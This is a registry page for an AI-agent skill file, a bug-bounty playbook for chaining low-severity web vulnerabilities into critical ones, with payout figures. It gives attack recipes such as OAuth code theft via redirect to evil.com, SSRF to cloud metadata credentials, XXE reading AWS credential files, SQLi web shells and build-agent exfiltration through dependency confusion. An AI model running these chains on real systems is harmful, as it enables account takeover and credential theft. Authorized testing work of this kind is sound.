bug-chaining
Skill5.9k starsChanged 5 months agoMITView on GitHub
Standalone bug chaining skill — synthesized from omni-killchain, omni-references/chaining-impact, triage-validation, apex-hunter, web2-vuln-classes, bug-bounty, and bb-methodology. Covers the complete chaining mindset: 10-question filter, 15 proven chain patterns (A–O) with payout data, escalation ladders per vuln class, conditional-chain table (when a standalone bug needs a gadget), impact-writing rules, CVSS chain multipliers, and 30-minute chain-or-move decision clock. Use when you have a low/medium finding and want to know how to chain it to Critical, or when strategizing what to hunt for maximum payout. Authorized testing only — bug bounty in-scope, pentest engagement, or CTF.
- Reads credentials
1 other project uses a version of this.
Trending
More talk lately.thin dataabout the whole repository
Most recently taken up by
- awarexone/Agentic-Bug-Hunterword for word, first seen Nov 15, 2026
Who's talking about Awarexone/Agentic-Bug-Hunter
- vavkamil/awesome-bugbounty-tools“Add Agentic Bug Bounty Hunter to AI Agents”GitHub · Sep 2, 2026 · 2 reactions
- sudosubin/agents.nix“agent-skills.github.awarexone.agentic-bug-hunter: v6.0.0 → refs/tags/v6.0.0”GitHub · Oct 3, 2026
- djmahe4/cyber-tools-index“[WIP] Update tools_config.json with AI security tools from Medium list”GitHub · Oct 2, 2026
- sudosubin/agents.nix“agent-skills.github.awarexone.agentic-bug-hunter: init at 6.0.0”GitHub · Sep 25, 2026
- beyefendi/awesome-llm-security“Agentic Bug Hunter”GitHub · Sep 18, 2026
The biggest 5 of 11 mentions linking to the repository that our crawl found. Each line is their own headline.
See all 11
Talked about on GitHub (11 times).
On GitHub · 11
- Sep 2, 2026Add Agentic Bug Bounty Hunter to AI Agents — vavkamil/awesome-bugbounty-tools2 reactions
- Oct 3, 2026agent-skills.github.awarexone.agentic-bug-hunter: v6.0.0 → refs/tags/v6.0.0 — sudosubin/agents.nix0 reactions
- Oct 2, 2026[WIP] Update tools_config.json with AI security tools from Medium list — djmahe4/cyber-tools-index0 reactions
- Sep 25, 2026agent-skills.github.awarexone.agentic-bug-hunter: init at 6.0.0 — sudosubin/agents.nix0 reactions
- Sep 18, 2026Agentic Bug Hunter — beyefendi/awesome-llm-security0 reactions
6 more on GitHub
- Sep 6, 2026Enlaces rotos detectados en el README — YamilAyma/enlaces-para-desarrolladores0 reactions · 3 comments
- Sep 2, 2026Add Agentic Bug Bounty Hunter under Attack Surface — edoardottt/awesome-hacker-search-engines0 reactions · 1 comment
- Sep 2, 2026Add Related Projects section (Agentic Bug Bounty Hunter) — maurosoria/dirsearch0 reactions
- Sep 2, 2026Add Agentic Bug Bounty Hunter to GraphQL Injection tools — swisskyrepo/PayloadsAllTheThings0 reactions
- Sep 2, 2026Add Agentic Bug Bounty Hunter to Tools — nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters0 reactions
- Aug 30, 2026Enlaces rotos detectados en el README — YamilAyma/enlaces-para-desarrolladores0 reactions
Other versions1 project uses a version of this.
Word for word · 1
- awarexone/Agentic-Bug-Hunter★ 5.9k100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository27 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- bug-bountySkill
- agentic-app-auditSkill
- argusSkill
- bb-methodologySkill
- bug-bountySkill
- bugcrowd-reportingSkill
- cicd-securitySkill
- client-reverseSkill
- cloud-pentestSkill
- credential-attackSkill
- graphql-auditSkill
- johnwickSkill
- jsmaxSkill
- llm-redteamSkill
- mcp-server-auditSkill
- meme-coin-auditSkill
- mobile-pentestSkill
- omni-killchainSkill
- pii-hunterSkill
- report-writingSkill
- security-arsenalSkill
- triage-validationSkill
- web2-reconSkill
- web2-vuln-classesSkill
- web3-auditSkill
The file
We split this skill into the rules it gives an agent
9 rules. About 0 are common, 9 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈9
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 18
If you can't answer YES with a working PoC → keep escalating or move on.
- Distinctive: line 24
Run for every candidate finding before spending more than 30 minutes on it.
- Distinctive: line 395
Write out the complete attack as step-by-step HTTP requests BEFORE writing the report:
- Distinctive: line 404
If you cannot write Step 2 as a real HTTP request → the chain isn't proven.
- Distinctive: line 408
Run the 10-question filter again on the chain as a whole.
- Distinctive: line 415
When writing the chain's impact section:
- Distinctive: line 440
When chaining, the final CVSS score reflects the chain, not the individual primitives:
- Distinctive: line 452
Scope changed (S:C): if your chain pivots out of the vulnerable component (XSS grabs main-app cookie from subdomain, SSRF reaches cloud …
- Distinctive: line 467
Rule: If you can't prove the chain in 30 minutes of active testing → park the primitive in your notes and move to a new surface.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
BUG CHAINING — Low → Critical Playbook
Single-bug reports get triaged. Chained reports get paid. $10K+ reports are almost always chains.
THE ONLY QUESTION THAT MATTERS
"Can I connect finding A to finding B so that an attacker walks away with real harm — account takeover, stolen money, PII exfil, RCE — that they couldn't achieve with either bug alone?"
If you can't answer YES with a working PoC → keep escalating or move on.
THE 10-QUESTION CHAIN FILTER
Run for every candidate finding before spending more than 30 minutes on it.
Q1. Cross-user impact? → IDOR/BOLA family
Q2. Cross-tenant impact? → massive multiplier on SaaS
Q3. Leaks credentials/tokens? → secret family (esp. cloud/admin)
Q4. Pre-auth? → eliminates social-engineering need
Q5. 0-click? → eliminates user-interaction cost
Q6. Persistent (stored)? → keeps paying after report
Q7. Internal/cloud-metadata? → SSRF chain
Q8. Source code / config read? → feeds future bugs
Q9. Leads to RCE/SQLi/admin? → critical
Q10. Mass-exploitable? → dramatic multiplier- 3+ YES → ready to report (check payout tier below)
- 1-2 YES → keep escalating (find the connector gadget)
- 0 YES → kill it, move on
THE 15 PROVEN CHAIN PATTERNS
Pattern A — Recon → Source disclosure → Bug class flood
Payout range: $5K–$50K
1. .git exposed / source map present / public S3 with code
2. Pull source
3. Grep for: SQL strings, command runners, deserialization, hardcoded secrets,
weak JWT keys, internal endpoints
4. Test discovered endpoints/sinks against live target
5. Multiple critical bugs in one reportSignal: .git/HEAD returns ref: refs/heads/main; .js.map in wayback URLs; S3 bucket named target-frontend-assets
Pattern B — Subdomain takeover → Cookie/CSP/OAuth bypass → ATO
Payout range: $5K–$25K (takeover alone: ~$200)
1. Find dangling CNAME pointing to expired provider
(GitHub Pages, Heroku, Fastly, Zendesk, Shopify, S3, Azure, etc.)
2. Register a resource at that provider for the vulnerable CNAME
3. Domain now responds under target's subdomain
4. Check: does target set cookies with domain=.target.com?
→ If yes: your takeover page receives those cookies
5. Check: does target's CSP allowlist this subdomain?
→ If yes: XSS on main app bypasses CSP
6. Check: is this subdomain an OAuth redirect_uri?
→ If yes: register it and steal auth codesKill if: subdomain has no cookie scope, no CSP mention, no OAuth registration.
Pattern C — Open redirect → OAuth code theft → ATO
Payout range: $5K–$15K (redirect alone: $0–$200)
1. Find any open redirect on target.com
(redirect=, return_to=, next=, url=, r=, continue=)
2. Check if target.com is an OAuth redirect_uri allowlisted provider
3. Craft: /oauth/authorize?redirect_uri=https://target.com/redirect?to=https://evil.com
4. Victim clicks → auth code arrives at evil.com via Referer or fragment
5. Exchange code for access token → ATOVariants:
- Wildcard
*.target.com→ takeover a subdomain and register it as redirect_uri redirect_uri=https://target.com.evil.com(suffix bypass on startsWith check)redirect_uri=https://target.com/oauth/../../redirect?to=evil.com(path traversal)
Pattern D — SSRF → Cloud metadata → Cloud creds → S3 source → harder bugs
Payout range: $10K–$50K (blind SSRF alone: $200–$500)
Escalation ladder:
1. Detect SSRF (blind ping to OOB listener) → $200–500
2. Hit http://169.254.169.254/latest/meta-data/ → confirm cloud environment
3. Extract IAM role: /latest/meta-data/iam/security-credentials/
4. Read access_key, secret_key, session_token from credentials endpoint
5. Use creds: aws s3 ls → find source code buckets
6. Download JS bundles → extract API keys / admin secrets
7. Find more critical bugs using extracted sourceIMDSv2 (AWS): requires a PUT first for a token. If SSRF only allows GET, try:
- GCP:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token+Metadata-Flavor: Google - Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01+Metadata: true
Internal pivot targets:
127.0.0.1:6379 → Redis → RCE via cron/SSH
127.0.0.1:8080 → Internal admin
127.0.0.1:9200 → Elasticsearch → data exfil
127.0.0.1:8200 → Vault → secret dump
10.x.x.x → internal services (often no auth)Pattern E — IDOR + mass assignment → Self-promote to admin
Payout range: $5K–$20K
1. IDOR: request targeting another user's object works
2. Mass assignment: PUT/PATCH accepts role/isAdmin/permissions in body
3. Combine: PATCH /api/users/{victim_id} {"role":"admin"}
4. Your account or victim's account → adminTest mass assignment params: role, isAdmin, isOwner, plan, credit, verified, email_verified, balance, permissions, group_id, subscription_tier
Pattern F — File upload → Stored XSS in admin view → CSRF to admin → Plugin install → RCE
Payout range: $15K–$50K
1. Upload SVG/HTML file that renders in admin view
2. Blind XSS payload steals admin's CSRF token + session cookie
3. Use token to POST to plugin install or webhook endpoint
4. Plugin executes on server-side → RCESimpler variant: Upload → XSS in admin email notification → admin clicks → session stolen → use admin session for further privesc.
File types to try: .svg, .html, .xml (XXE), .pdf (SSRF via annotation), .docx/.pptx (XXE in rels), polyglot GIF+PHP, CSV injection.
Pattern G — Cache poisoning → Stored XSS → Mass session theft
Payout: PayPal paid $18,900
1. Find unkeyed header that reflects in response (X-Forwarded-Host, X-Forwarded-For, X-Original-URL)
2. Inject XSS payload via unkeyed header
3. Cache stores the poisoned response
4. All subsequent visitors receive XSS payload → mass session theftVariations: fat GET (add body to GET request, CDN ignores body but origin uses it), query string stripping discrepancy.
Pattern H — Request smuggling → Cache poisoning → ATO
Payout: Slack-class, $5K–$15K
1. Detect CL.TE or TE.CL desync between frontend proxy and backend
2. Smuggle a prefix that poisons the next user's response
3. Poisoned response contains redirect to attacker or reflects session cookie
4. Mass session theft or ATOTest: Send Transfer-Encoding: chunked with a malformed body. Watch for 400 errors from backend only.
Pattern I — JWT alg confusion → Cross-tenant ATO
Payout range: $5K–$20K
1. Target uses RS256 JWT
2. Test: change alg to HS256 in header, sign with the server's PUBLIC key as HMAC secret
3. Modify payload: change user_id, tenant_id, role, aud
4. If server accepts → cross-tenant or admin ATOVariants: alg=none (some libraries), kid path traversal (kid=../../../../dev/null), weak secret brute force (hashcat -a 0 -m 16500).
Pattern J — GraphQL node bypass → IDOR on admin types
Payout range: $3K–$15K
1. REST /admin/users is properly protected
2. GraphQL node(id: "AdminUser:123") resolves the same object
3. Authorization check only on the REST layer → bypassed via GraphQL
4. Read/update admin records, other users' dataAlso: GraphQL batch = rate limit bypass for OTP brute force. Alias = same for field-level rate limits.
Pattern K — Race on coupon → Negative price → Free purchase
Payout range: $3K–$10K
1. Find coupon, refund, credit, or subscription change endpoint
2. Send N parallel requests (HTTP/2 single-packet for best timing)
3. Observe duplicate application (both requests succeed)
4. If coupon stacks: negative price → refund as credit → spend on real itemsTools: Turbo Intruder (single-packet), Python asyncio with simultaneous send, Burp Pro parallel.
Pattern L — XXE in SAML → File read → AWS keys → S3 source → all the bugs
Payout range: $10K–$50K
1. Target accepts SAML assertions (SSO login)
2. Inject XXE in SAML response XML
3. Read /etc/passwd, /proc/self/environ, AWS credentials at ~/.aws/credentials
4. Use extracted cloud keys → full Pattern D chainAlso test: SVG upload with DOCTYPE, DOCX/PPTX (word/_rels/document.xml.rels), SOAP endpoints, REST endpoints with Content-Type: application/xml.
Pattern M — Self-XSS → CSRF → Stored XSS on victim
Payout range: $2K–$8K (self-XSS alone: $0)
1. XSS payload in profile field only affects own account view
2. Find CSRF that can set that profile field for any user
3. Chain: CSRF sets victim's field to your XSS payload
4. Victim views their own profile → payload fires on their sessionUpgrade: Stored XSS on victim page → steal session cookie → ATO.
Pattern N — CVE on subdomain → Lateral to main app via shared session cookie
Payout range: $3K–$15K
1. Old marketing/blog subdomain runs vulnerable WordPress/Drupal/Jira
2. Exploit public CVE for RCE on that host
3. Check Set-Cookie headers: domain=.target.com → main app cookies readable
4. Forge/steal main app session → ATO on productionStop at: confirming cookie scope access. Do NOT exfil real user sessions — just demonstrate the attack path with your own test accounts.
Pattern O — Dependency confusion → Build agent RCE → Deploy key → Production
Payout range: $5K–$25K
1. Find internal package names (GitHub source, error messages, npm lock file)
2. Register those names on public npm/pip/RubyGems/Maven
3. Build agent installs your package → runs your code
4. Exfil build agent env (has SSH deploy key or IAM role)
5. STOP HERE — demonstrate RCE, do not push to productionEvidence needed: screenshot of env vars / id / hostname from your package's install script. Never push backdoored code.
CONDITIONAL CHAIN TABLE
Standalone findings that need a connector gadget before submitting:
| Standalone Finding | Gadget Needed | Valid Result | Tier |
| Open redirect | + OAuth redirect_uri → code theft | ATO | Critical |
| Clickjacking | + sensitive action PoC | Action performed | Medium |
| CORS wildcard | + credentialed request exfils PII | PII exfil | High |
| CSRF | + funds transfer / email change / delete | State change | High |
| Rate limit bypass | + OTP/reset token brute success | Auth bypass | Medium/High |
| SSRF (DNS only) | + internal service access + data returned | Info/RCE | Medium |
| Host header injection | + password reset email uses injected host | ATO | High |
| Prompt injection | + reads other user's data | IDOR | High |
| S3 bucket listing | + JS bundles contain live API keys | Secret leak | Medium/High |
| Self-XSS | + CSRF to trigger on victim | Stored XSS | Medium |
| Subdomain takeover | + OAuth redirect_uri registered | ATO | Critical |
| GraphQL introspection | + auth bypass mutation or IDOR node() | Data access | High |
| Reflected XSS on logout page | + CSRF on victim's active session | XSS → ATO | High |
ESCALATION LADDER BY VULN CLASS
XSS escalation
alert(1) → Proof only (Low/Medium)
document.cookie → Show cookie is readable (High if HttpOnly absent)
Steal session → Send cookie to attacker (High → Critical if cross-user)
Force action → XHR to change email/password while victim is online (Critical ATO)
Blind XSS → Admin panel hit → exfil admin session (Critical)SSRF escalation
DNS ping → Blind (Low $200)
HTTP to OOB → Full SSRF confirmed (Medium $500)
Internal port → Internal service access (High $1K-$3K)
Cloud metadata → IAM creds extracted (Critical $5K-$15K)
Cloud creds used → S3 read / cross-account / SSM secrets (Critical $15K-$50K)IDOR escalation
Read own data → Not a bug
Read other user → Valid IDOR (Medium/High)
Read all users → Automate scrape, show scale (High)
Write other user → Update email/password/role (Critical)
Delete other user→ DoS or account destruction (High/Critical)
Tenant pivot → Cross-tenant access (Critical on SaaS)SQLi escalation
Error message → Stack trace (Low)
Boolean diff → Confirmed injection (Medium)
Data extraction → Dump hashes/emails/keys (High)
Auth bypass → Login as any user (Critical)
File write → INTO OUTFILE web shell (Critical RCE)
OS commands → xp_cmdshell / LOAD_FILE (Critical RCE)Auth flaw escalation
Rate limit miss → Brute-force OTP/password (Medium)
Token reuse → Account persistence past logout (Medium)
Token leak → Via Referer/log exfil (High)
Host header → Token delivered to attacker (Critical ATO)
0-click ATO → No victim interaction needed (Critical)
Mass ATO → All users affected simultaneously (Critical)PAYOUT TIERS — WHERE TO AIM
Tier S ($20K–$50K)
- Pre-auth RCE on production / VPN / SSO host
- Dependency confusion on internal package → build agent RCE
- 0-click ATO via password reset / email confirmation / SAML flaw
- GraphQL auth bypass exposing all tenant data
- SSRF → cloud metadata → IAM creds → cross-account / S3 takeover
- HTTP request smuggling → mass session theft
- Supply chain: build agent → deploy key → prod
Tier A ($10K–$20K)
- Cache poisoning → stored XSS or mass session theft
- SSTI → RCE (Jinja2/Twig/Freemarker/ERB/Spring)
- File upload → RCE (ImageMagick MSL, GhostScript, polyglot, ZIP slip)
- XXE → file read → cloud creds
- JWT alg confusion → cross-tenant ATO
- Race condition on payment → financial loss at scale
Tier B ($1K–$10K)
- IDOR → mass PII exfil (show scale)
- Subdomain takeover → cookie/OAuth → ATO chain
- Mass assignment → privilege escalation
- Open redirect → OAuth code theft → ATO
- Self-XSS → CSRF → stored XSS → ATO
- CORS misconfig → credentialed PII exfil
CHAIN-FINDING WORKFLOW
Step 1 — Classify your candidate
What did you find?
├─ Low-impact finding (redirect, self-XSS, CORS, rate limit, host header)
│ → Go to Conditional Chain Table above
│ → Find the gadget needed, hunt 20 min
│ → If no gadget found: park it, move on
│
├─ Medium finding (SSRF-dns, IDOR on non-sensitive, blind injection)
│ → Run the Escalation Ladder for that class
│ → Spend max 45 min trying to escalate one level
│ → If stuck: 10-question filter — which Q can you make YES?
│
└─ High/Critical confirmed → write the report NOWStep 2 — Find the connector gadget
A gadget is the missing piece that turns A into B. Common gadgets:
| You have | Gadget to find | Result |
| XSS on low-sensitivity page | Endpoint that loads it in admin context | Blind XSS → admin ATO |
| SSRF (blind) | Redirect chain on internal service | Full-response SSRF |
| Open redirect | OAuth flow that allows that redirect_uri | ATO |
| IDOR (read) | API that accepts the exposed ID to write | Write IDOR → ATO |
| Mass assignment | Endpoint that respects the role field | Privesc |
| Subdomain takeover | Cookie with domain=.target.com | ATO chain |
| Self-XSS | CSRF on the field that stores it | Stored XSS |
Step 3 — Prove the full chain end-to-end
Write out the complete attack as step-by-step HTTP requests BEFORE writing the report:
1. Setup: [accounts needed, preconditions]
2. Step 1: [exact request → response showing vulnerability A]
3. Step 2: [use A's output as input to vulnerability B]
4. Step 3: [B's output used to achieve final impact]
5. Impact: [what attacker has now that they didn't before]If you cannot write Step 2 as a real HTTP request → the chain isn't proven. Do not submit.
Step 4 — Maximize before reporting
Run the 10-question filter again on the chain as a whole. Each additional YES raises your payout tier.
IMPACT-WRITING RULES
When writing the chain's impact section:
Do this:
- Specific numbers: "All ~12M users are affected via this endpoint"
- Worst-case demonstrated: "I was able to read account #12345's API key, billing info, and 2FA recovery codes"
- CIA classification: Confidentiality (data read) / Integrity (data changed) / Availability (service disrupted)
- Demonstrated vs theoretical: show the worst you can without harming prod users
Never write:
- "Could potentially allow..."
- "An attacker might be able to..."
- "Under certain conditions..."
Template:
An attacker can [EXACT IMPACT] via [ENDPOINT] by [METHOD],
demonstrated against test account [ACCOUNT_ID].
[N] users are affected.
This requires [no auth / free account / paid account only].CVSS CHAIN MULTIPLIERS
When chaining, the final CVSS score reflects the chain, not the individual primitives:
| Chain outcome | Score range | Key vectors |
| ATO, 0-click, any user | 9.0–9.8 | AV:N AC:L PR:N UI:N S:U C:H I:H A:N |
| ATO, victim click, any user | 8.0–8.8 | AV:N AC:L PR:N UI:R S:U C:H I:H A:N |
| Tenant pivot → all tenant data | 9.1 | AV:N AC:L PR:L UI:N S:C C:H I:H A:N |
| RCE pre-auth | 9.8 | AV:N AC:L PR:N UI:N S:U C:H I:H A:H |
| Cloud creds → cross-account | 9.1–9.8 | AV:N AC:L PR:N UI:N S:C C:H I:H A:H |
| Admin bypass via chain | 9.0 | AV:N AC:L PR:N UI:N S:U C:H I:H A:N |
| Mass PII (IDOR iteration) | 7.5–8.5 | AV:N AC:L PR:L UI:N S:U C:H I:N A:N |
Scope changed (S:C): if your chain pivots out of the vulnerable component (XSS grabs main-app cookie from subdomain, SSRF reaches cloud control plane) → S:C, big payout multiplier.
THE 30-MINUTE CHAIN CLOCK
0:00 — Identify candidate finding
0:05 — Run 10-question filter
0:10 — Look up relevant chain pattern (A–O)
0:20 — Try to find the connector gadget
0:25 — If chain confirmed: write PoC steps
0:30 — DECISION: chain proven → write report | chain not proven → park + move onRule: If you can't prove the chain in 30 minutes of active testing → park the primitive in your notes and move to a new surface. Return only if you find the missing gadget elsewhere.
RED FLAGS — CHAINS THAT WON'T PAY
- Self-XSS + "if attacker could trick the user..." → not a chain, not payable
- CORS wildcard + "with credentials=true it would leak data" → prove it or kill it
- SSRF DNS + "could be used to access internal services" → show the data or kill it
- Open redirect + "could be used in a phishing attack" → not a chain, P5 noise
- "Rate limit bypass that could allow brute force" → demonstrate a cracked account or kill it
- Admin can do X + "this is a security risk" → not a bug, kill it
- Chain that requires victim to run a local binary → not realistic, kill it
- Chain with 4+ required preconditions simultaneously → kill it
CHAIN ANTI-PATTERNS THAT LOSE MONEY
Reporting A and B as a chain when they're actually separate (two separate payouts, not one)
Submitting a chain report without end-to-end PoC (triager marks it theoretical)
Overclaiming: chain that requires social engineering as "0-click"
Underdescribing: listing steps without showing actual response bodies
Writing the report before the chain works end-to-end (most common mistake)QUICK REFERENCE — CHAIN STARTERS BY SURFACE
| You're testing... | Hunt for chains via... |
| Password reset flow | Host header injection → ATO (Pattern auth-tier-S) |
| OAuth callback | Open redirect on any page → code theft (Pattern C) |
| File upload | SVG XSS → admin blind XSS → session (Pattern F) |
| URL/webhook parameter | SSRF → metadata → cloud creds (Pattern D) |
| ID parameter | IDOR + mass assignment → privesc (Pattern E) |
| XML/SAML input | XXE → file read → cloud creds (Pattern L) |
| Subdomain CNAME | Takeover → cookie/OAuth (Pattern B) |
| JWT | Alg confusion → tenant pivot (Pattern I) |
| GraphQL | node() auth bypass → IDOR (Pattern J) |
| Coupon/payment | Race condition → double spend (Pattern K) |
| Any JS-heavy app | Source map → Pattern A |
| npm/pip/Maven pkgs | Internal pkg name → Pattern O |
| Cache behavior | Unkeyed headers → Pattern G |
| HTTP frontend proxy | Smuggling → Pattern H |
| Self-XSS | + CSRF → Pattern M |
| Old subdomain CVE | + cookie scope → Pattern N |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

